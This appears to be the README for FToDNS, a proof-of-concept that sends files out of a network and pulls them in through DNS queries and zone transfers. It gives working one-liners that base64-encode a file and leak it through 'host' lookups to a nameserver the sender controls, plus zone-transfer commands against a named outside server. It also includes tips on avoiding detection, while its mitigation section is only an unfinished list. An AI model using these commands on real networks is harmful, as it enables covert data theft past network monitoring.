FToDNS: File Transfer over Domain Name Service

Christopher Neitzert chris@neitzert.com

This is a Work in Progress

---

What:

A Proof of Concept that utilizes the Domain Name Service protocol, loosely, as it was intended for data delivery and exfiltration across network boundaries with functionality on any standard Linux distribution with standard GNU Core utils and ISC's Bind9.

Why:

This primarily is an intellectual exercise relating to practical information security in a networked environment.

The use of DNS for data exfiltration or VPN has been a hacker trope for the nearly four decades that DNS has existed.
There have been several impliementations of this concept and this Proof of Concept is not unique. Although this implementation is not based on the previous PoCs and there are certainly other ways to do this, all of that will live in Erratum.

The recent introduction of DNS over HTTPS takes an already incendiary security issue and douses it with petroleum.

The PoC hope's to bring light to these challenges by playing with fireworks uncomfortably close to that petroleum soaked security issue.

Now, if you would please hold my beer,

---

How it works

Given the multitude of ways DNS can be integrated into an infrastructure and the limited number of actions we wish to test we will describe the PoC in three high level and generic terms;

• Type: What type of server are they.
• Landscape: What is it's configuraiton.
• Verbs: What actions happen.

Types

The three types of system operating within this PoC:

1. Authoritative DNS Server: A DNS server that behaves as though it is an authoritative resource of Domain Name information.
2. Recursive DNS Server: A DNS server that is not an authoritative resource of Domain Name information, but retreives it for the DNS Client.
3. DNS Client: The resolver that queries the Domain Name Service to resolve addresses.

Landscape:

Two types of Landscape that DNS servers exists in, 'Direct Client to Server' and 'Client to Recursive Server to Authoritative' (AKA: Recursive). From the perspective of bad actor in the PoC the a recursive landscape contains additional hops in the communication flow from client to server.

Direct Client to Server

• A typical DNS client queries a DNS server for a host or zone.
• It might traverse a firewall or two as it crosses the internet
• The DNS server responds to the DNS client with an answer or error

Client to Recursive Server to Authoritative Server

• A typical DNS client queries a DNS server for a host or zone.
• Local rules might require the DNS client use a local server.
• The Local Server likely does not have the zone, so it queries the Authoritative Server on behalf of the DNS client.
• The query might traverse a firewall or two as it crosses the internet
• The Authoritative Server responds with an answer or error to the Local Server.
• The Local Server then relays that information to the DNS client.

Verbs

The two 'Verbs' that happen in a basic file transfer; We will call them 'Put File' and 'Get file'. Where 'to put' a file is to copy towards and 'to get' a file is to copy from other systems.

Put File

• The user chooses a file and Base64 encodes the file with 56 Byte long lines
  • 56 Byte long lines are chosen due to the maxium size of a DNS CNAME(63 bytes)
  • One consideration is a multiple encoding method to correct for out of order query-server-log issues.
    • ex:
      • base64 -w56 $FILE | cat -n | base64 -w56 > file_to_be_put
  • Then for each 56 Byte long encoded line generated by encoded data the user simply performs a DNS lookup with that line to their DNS Server.
    • ex:
      • host -6 -a -W60 $line.io 2001:db8:1:1:1:1:1:1
    • Detection avoidance considerations should be taken around timing, encoding, destination servers, and host call.
  • The query is not required to exist on the Authoritative DNS server to be logged at the Authoritative DNS server.
  • Each query is logged by the destination DNS Server and easily extracted by the inverse method of it's encoding.
    • ex:
      • cat $NAMED_LOGFILE | grep .io | grep cache | cut -f2 -d"("| cut -f1 -d"." | base64 -d > $DESIRED_FILE_OUTPUT

Get File

• The server operator chooses a file that they want to make available globally via DNS.

  • The file is base64 encoded and written into a DNS Zone file and served globally in DNS.

    • ex:
      • See ZoneMaker for details on this process.

  • The user who wishes to get the file then performs a zone transfer and extracts the file by the inverse method of it's encoding.

    • ex: As shown in [ZoneGet] (https://github.com/neitzert/FToDNS/blob/master/ZoneGet.sh)
      • host -t axfr $1 $2|grep $3 | sort -n| cut -f2 -d"-"| cut -f1 -d"."|/bin/base64 -d |/bin/base64 -d > $DESIRED_FILE_OUTPUT

  • Test this on a live DNS server from your favorite Linux box:

    host -t axfr bad.lan ns.rains.io |grep payload | sort -n| cut -f2 -d"-"| cut -f1 -d"."|/bin/base64 -d |/bin/base64 -d > output.pdf

  • Alternatively test on OSX:

    host -t axfr bad.lan ns.rains.io |grep payload | sort -n| cut -f2 -d"-"| cut -f1 -d"."|/usr/bin/base64 -D -i - -o - |/usr/bin/base64 -D -i - -o - > output.pdf

---

Proof of Concept Criteria and Requirements

1. PoC Criteria

   1. Proof of concept must be limited to tools built into the OS plus Bind9 for DNS service.
   2. Some sort of TCP-IP network between client & server that permits DNS between Client and Server.
   3. Proof of concept must be able to, via the DNS protocol,
      1. Copy a file from a remote server to a local client across a network
      2. Copy a file on a local client to a remote server across a network

2. Client Requirements:

   1. Standard Linux Distribution with standard GNU Core utils
   2. Host(1) ISC's standard host utility.
   3. Base64, grep, cut, sed, awk, general sh scripting

3. Server Requirements:

   1. Standard Linux Distribution with standard GNU Core utils
   2. ISC's Bind9 DNS server
      1. Ability to write zone files
      2. Ability to read log files
      3. Ability to change named.conf to allow zone transfers.
      4. named.conf configuration changes TBD
   3. Base64, grep, cut, sed, awk, general sh scripting

4. Types of Test

   1. Due to the complexity of the PoC, this will be broken down into multiple types of PoC
      1. • [x]Direct Client to Server
         1. • [x]Read file:
              Status complete
              • Run: "./ZoneGet.sh bad.lan ns.rains.io payload > output.pdf"
         2. • [x]Write file
              Status "ish" works great in lab, bad in wild)
              • Edit Resolver.sh to use your name server, read comments
              • Run Resolver.sh YourFile.tla
              • ssh to server, extract as described in Resolver.sh
      2. • [ ]Client to Recursive to Authoritative
         1. • [ ]Read file
         2. • [ ]Write file
      3. • [ ]Client via DoH to HTTPS/DNS server
         1. • [ ]Read file
         2. • [ ]Write file

---

Mitigation:

This specific Proof of Concept creates several issues and this document would not be complete without a short discussion on mitigation. That discussion will eventually go here and the following are a list of topics I hope to address.

1. Network

   1. Record DNS 'meta data'
   2. Limit 'top talkers'
   3. Network limits on DNS resolutions per minute
   4. Restrict non-authorized DNS servers at network level

2. DNS Server Architecture & Configuration

   1. Restrict zone transfers at zone level
   2. Alert on any zone transfers - usually strange things afoot
   3. Disable recursive checks and retrievals
   4. Strict control of domain heirarchy
   5. Control and notification of new zones in domain heiarchy
   6. add more here

3. Fuzzing

   1. Timing and Frequency
   2. Query length
   3. Text Encoding
      1. Text format/encipherment
      2. Base64 Line length
      3. Line numbering
      4. add more here

---

File Descriptions:

Resolver.sh

A simple script to encode a file into a very large number of DNS host look up queries for later collection and reassembly on the upstream DNS server. Works great on a closed test network. Not so well on the greater internet. Play with sleep timeout function.

ZoneGet.sh

Simple script to query a DNS server and decode the output of an entire DNS zone where each CNAME entry in the zone is a line fragment of a double base64 encoded file created by the script ZoneMaker.sh.

ZoneMaker.sh

Simple script to take a file and base64 encode it, write it into a DNS zone file for remote serving on a Bind9 DNS server.

---

Disclaimers

All standard disclaimers apply, For educational, research, and entertainment purposes only. Use at your own risk. Your mileage may vary. Offer expires while you wait.